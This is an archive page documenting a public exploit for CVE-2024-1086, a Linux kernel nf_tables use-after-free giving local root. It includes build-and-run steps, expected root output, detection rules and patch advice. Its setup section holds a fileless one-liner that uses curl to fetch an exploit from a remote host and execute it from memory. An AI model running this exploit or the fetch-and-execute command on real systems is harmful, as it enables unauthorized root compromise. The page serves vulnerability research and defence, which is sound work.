PoC Archive PoC Archive
CVE-2024-1086 category: binary CVSS 7.8 (HIGH) KEV Ransomware EPSS 28%
Patched

Linux nf_tables Use-After-Free Local Privilege Escalation (CVE-2024-1086)

Published: 2026-05-17 • Researcher: Notselwyn

Target software Linux kernel (netfilter nf_tables subsystem)
Affected versions v5.14 to v6.6 (excluding patched branches: v5.15.149+, v6.1.76+, v6.6.15+)
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10

Exploitation signals

KEV Ransomware EPSS 28%

Confirmed exploited in the wild. Added to CISA KEV 2024-05-30. Federal remediation deadline 2024-06-20.

EPSS 28.1% · 98th percentile

Severity
High
CVE
CVE-2024-1086
Category
binary
Affected product
Linux kernel (netfilter nf_tables subsystem)
Affected versions
v5.14 to v6.6 (excluding patched branches: v5.15.149+, v6.1.76+, v6.6.15+)
Disclosed
2026-05-17
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-05-17
Last Updated2024-03-25
Author / ResearcherNotselwyn
CVE / AdvisoryCVE-2024-1086
Categorybinary
SeverityHigh
CVSS Score7.8 (CVSSv3)
StatusWeaponized
TagsLPE, UAF, Linux kernel, nf_tables, netfilter, CISA KEV, ransomware, x64
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel (netfilter nf_tables subsystem)
Versions Affectedv5.14 to v6.6 (excluding patched branches: v5.15.149+, v6.1.76+, v6.6.15+)
Language / PlatformC, Linux x64/amd64
Authentication RequiredNo (unprivileged local user with user namespaces enabled)
Network Access RequiredNo (local only)

Summary

CVE-2024-1086 is a use-after-free vulnerability in the Linux kernel’s netfilter nf_tables subsystem that allows an unprivileged local user to escalate privileges to root. The exploit achieves a 99.4% success rate on KernelCTF images and works universally across Debian, Ubuntu, and KernelCTF kernels between v5.14 and v6.6. It has been actively weaponized by ransomware groups RansomHub and Akira and is listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. The only prerequisites are user namespaces and nf_tables being enabled (the default on most major distributions).

Vulnerability Details

Root Cause

A use-after-free condition exists in the nf_tables component of the Linux kernel’s netfilter subsystem. When nf_tables expressions are evaluated, an object can be freed while still being referenced by another kernel structure, allowing an attacker to reclaim the freed memory with attacker-controlled data and subsequently gain arbitrary kernel read/write primitives. The underlying bug is present in all kernel versions from v3.15 to v6.8-rc1.

Attack Vector

An unprivileged local user with access to user namespaces (CONFIG_USER_NS=y, sysctl kernel.unprivileged_userns_clone=1) and nf_tables (CONFIG_NF_TABLES=y) crafts a sequence of nf_tables operations to trigger the UAF condition. Both these kernel features are enabled by default on Debian, Ubuntu, and KernelCTF. No network access or elevated privileges are required to trigger the vulnerability.

Impact

Full local privilege escalation to root (uid=0). An attacker can obtain a root shell, achieve persistence through disk writes, and fully compromise the host. Note: the exploit deliberately causes a kernel panic after the root shell is obtained (as a research mitigation to discourage malicious use), but the root shell is functional before the panic and disk persistence is possible. The exploit does not work on kernels v6.4+ with CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (e.g., Ubuntu v6.5).

Environment / Lab Setup

Output
OS:          Debian 12 / Ubuntu 22.04 LTS / KernelCTF
Kernel:      v5.14 – v6.6 (excl. patched stable branches)
Architecture: x64/amd64
Attacker:    Local unprivileged shell on target
Tools:       gcc, make, libmnl, libnftnl (bundled in repo)

Setup Steps

Shell script
1
2
3
4
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploit

Alternatively, use the precompiled x64 binary from the releases page if building is impractical.

Fileless execution (requires Perl on target):

Shell script
1
2
3
4
5
6
perl -e '
  require qw/syscall.ph/;
  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Proof of Concept

Step-by-Step Reproduction

  1. Build the exploit — Clone repo and compile with make

    Shell script
    1
    2
    3
    
    git clone https://github.com/Notselwyn/CVE-2024-1086
    cd CVE-2024-1086
    make
  2. Optional: Adjust configuration — Edit src/config.h for non-default setups (e.g., systems with >32 GiB RAM, SSH sessions)

    Shell script
    1
    2
    
    # Set CONFIG_REDIRECT_LOG=1 if running over SSH or reverse shell
    # Increase CONFIG_PHYS_MEM if target has more than 32GiB RAM
  3. Run the exploit — Execute as an unprivileged user

    Shell script
    1
    
    ./exploit

Exploit Code

See src/main.c, src/nftnl.c, src/env.c, src/file.c, src/net.c in this folder.

Shell script
1
make && ./exploit

Expected Output

Output
root
uid=0(root) gid=0(root) groups=0(root)

Screenshots / Evidence

Detection & Indicators of Compromise

Output
kernel BUG at net/netfilter/nf_tables_api.c
use-after-free write in nft_expr_destroy

SIEM / IDS Rule (example):

Output
alert any any -> any any (msg:"CVE-2024-1086 nf_tables UAF LPE attempt"; \
  content:"CLONE_NEWUSER"; content:"nf_tables"; sid:9000086;)

Remediation

ActionDetail
PatchUpgrade to kernel v5.15.149+, v6.1.76+, v6.6.15+, or v6.7+
WorkaroundDisable unprivileged user namespaces: sysctl -w kernel.unprivileged_userns_clone=0
Config HardeningSet CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y on v6.4+ kernels; restrict nf_tables with seccomp/AppArmor

References

Notes

The exploit intentionally causes a kernel panic after execution as a deterrent against malicious use — the root shell is granted before the panic, making it still valid as a PoC in lab environments. Disk persistence is achievable from within the root shell before the panic. Stability may degrade significantly on systems with active network adapters (especially WiFi); disabling WiFi adapters via BIOS is recommended on test devices. RansomHub and Akira ransomware groups have been observed using this vulnerability in the wild.

Auto-ingested from https://github.com/Notselwyn/CVE-2024-1086 on 2026-05-17.